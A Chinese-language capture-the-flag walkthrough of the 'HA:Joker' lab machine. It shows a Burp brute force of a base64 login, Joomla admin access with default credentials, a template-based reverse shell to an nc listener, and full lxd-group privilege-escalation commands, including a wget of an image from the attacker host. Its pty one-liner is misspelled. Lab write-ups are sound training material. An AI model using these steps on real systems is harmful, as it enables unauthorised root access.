前言
国庆过后事情慢慢没那么多了,我就开始整理了一下这个靶机的WP。
这次靶机整体难度不算高,而且整个镜像也不大,适合新手练手使用。
```
环境
靶机:
HA:Joker(ubuntu)
Filename: joker.zip
File size: 856 MB
MD5: F34A2D25CF07D119F4E19D7D0FCC3DE2
SHA1: 380E9DABF9623901843ADE2A1D5BD567C2BD5A02
攻击机:kalilinux
难度:中
```
测试流程
-
信息搜集
靶机文件导入到vmare啥的基本配置咱就不废话了,不过需要注意的是在我的机器上导入后网络连接需要手动设置为NAT模式,如果你的虚拟机网络配置模式不是NAT可能会扫描不到靶机IP。
启动靶机,使用kali自带的网段扫描工具netdiscover扫描。
OK可以看到192.168.26.143为我们的靶机IP,然后浏览器中访问该地址。
然后常规思路,查看源代码
然而这个靶机的提示其实不在这...
靶机的描述中有提示,最下面一行的意思是“枚举才是关键”
这个页面本身没有找到什么有价值的提示信息,所以我们扫描该IP开放的端口看看有什么发现
Nmap -A 192.168.26.143得到靶机除了常规端口之外还开放了一个8080端口,访问一波看看
需要登录,用户名其实已经提示的很明显了,就是Joker。但是关于密码并没有找到什么有价值的提示信息。所以我决定返回刚才的80端口站点看看有没有什么提示,使用kali的dirb扫描工具扫到了一个奇怪的txt文件
其实这种提示我也是有点懵...
在求助了某不存在的网站上的大佬之后,得到了这个提示文件的关键词rock和100.
Kali自带了一个名为rockyou.txt的密码字典,100的意思就是取字典的前100个...
使用head命令取出rockyou.txt文件的前100个密码:
因为我物理机是Windows环境,所以我把这个文件另存到本地rockyou.txt文件中。
然后启动神器burp,查看一下8080端口服务的登录请求
这里的数据应该就是我们的登录凭证,base64解码看下格式
登陆凭证的格式为用户名:密码然后再经过一次base64编码。
burp中将数据包发送到Intuder标记数据包中的登录账号密码
因为登录时会将账号和密码编码后再发送,所以我们需要把字典文件稍微做点变动。
这样字典文件变为
导入到burp的intruder中,在下面的PayloadProcessing中添加一个使用base64加密的规则
完事之后点击startattack开始爆破密码
很快得到一个和其他返回数据大小不一样的数据包,对这个值进行base64解码
现在我们账号joker密码hannah都有了,再次登录
到这里提示就很明显了,这个站点使用了joomla这个CMS,登录处尝试了joomla的默认账号密码joomla之后成功登录到管理员账户。
2. getshell
登录到后台
账号密码均为joomla
找了一圈发现在后台的模板修改功能中可以直接修改php文件——可以直接将模板文件中的PHP文件替换为反弹shell文件。
选择模板
接着修改index.php文件
将index.php文件修改为反弹shell代码,注意这里的ip地址,如果你是在物理机操作,将这个ip修改为你自己的本机ip。修改完成后点击save保存index.php文件。
然后我们的物理机启动nc监控1234端口同时点击TemplatePreview按钮预览index.php文件
Shell成功反弹。
我们得到反弹回来的shell功能并不完整,需要使用python的pty模块创建一个模拟终端环境,这样才可以正确执行Linux命令。
执行python3 -c 'importpty;pty.spwan("/bin/bash")'
进入靶机后,使用id命令显示用户的ID,以及所属群组的ID,可以看到目前我们登录的这个账户名为www-data,所属组中还有一个特殊的lxd组,这个特殊的组就是我们提权的关键点。
3. 提权
想要提升为root权限,我们需要给靶机挂载一个lxd镜像。可以在kali或者自己的服务器上从github下载build-alpine文件,然后执行build-alpine这个shell脚本。“build-alpine”,将以压缩文件的形式构建最新的Alpine镜像,最后我们需要在靶机中下载这个镜像。
```
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
```
完成后会生成一个最新的alpine镜像
接着我们需要把这个文件发到靶机上,这里我使用的是kali自带的一个简易HTTP服务器,使用命令python -m SimpleHTTPServer
在靶机上使用wget命令获取到镜像文件并挂载到系统中,同时定义该镜像别名为myimage
```
wget http://192.168.1.107:8000/alpine-v3.10-x86_64-20191019_0712.tar.gz
lxc image import ./alpine-v3.10-x86_64-20191022_2218.tar.gz --alias myimage
lxc image list
这里需要注意一点的是,在靶机的根目录不能执行wget命令,因为权限限制会报错

需要先切换到tmp临时文件目录


lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
id
cd /mnt/root/root
ls
cat final.txt
```
最后,我们把容器挂载到/root目录中。进入容器后通过/mnt/root可以看到靶机的所有文件。执行完脚本文件后,我们的shell操作符发生变化,代表我们现在进入的是容器的shell操作页面。这个容器拥有该靶机的root权限,也就是我们通过容器成功提权。这个时候其实整个靶机的渗透测试就已经结束了,不过还有一个flag文件在root目录下,cat命令查看final.txt获取flag.
不过这里我在测试的时候,使用Windows查看final.txt文件发现图标乱码了,而且通过xshell连接kali虚拟机也不能正常显示这个文件。
使用kali图形界面中的终端可以看到最终效果
总结
这就是整个joker靶机渗透测试的全部过程了,整个过程的关键点有两个,一个是前期的爆破,提示文件都比较隐蔽而且有一些电影文化元素的影响,刚开始我盯着那个页面源代码中的注释看了一天也没得头绪,明知道需要爆破但是没有什么方向。还有那个secret.txt提示文件,我也是看了半天也没想到就是指的kali自带的密码字典。
然后就是lxd容器提权,这就是经验积累的问题了,如果没有遇到过这种情况可能会比较难想到使用这种技术提权。初学渗透测试,希望各位大佬多多赐教。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论